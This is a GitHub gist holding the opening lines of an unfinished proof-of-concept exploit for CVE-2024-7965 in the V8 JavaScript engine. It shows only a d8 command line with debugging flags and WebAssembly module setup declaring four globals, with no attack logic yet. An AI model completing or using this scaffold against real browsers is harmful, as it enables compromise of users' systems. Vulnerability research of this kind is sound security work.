Skip to content

Instantly share code, notes, and snippets.

@buptsb
buptsb / CVE-2024-7965.poc.js
Last active October 18, 2024 08:56
CVE-2024-7965 unfinished poc
// ./d8 --allow-natives-syntax --trace-turbo --trace_turbo_graph --trace_deopt --trace_compilation_dependencies --trace_wasm_compiler --code-comments --compile_hints_magic --trace-wasm-decoder --soft-abort --expose-gc ~/cves/CVE-2024-7965/1.js
const prefix = "...";
d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);
const builder = new WasmModuleBuilder();
const $g0 = builder.addGlobal(kWasmI32, true, false);
const $g1 = builder.addGlobal(kWasmI32, true, false);
const $g2 = builder.addGlobal(kWasmI64, true, false);
const $g3 = builder.addGlobal(kWasmI64, true, false);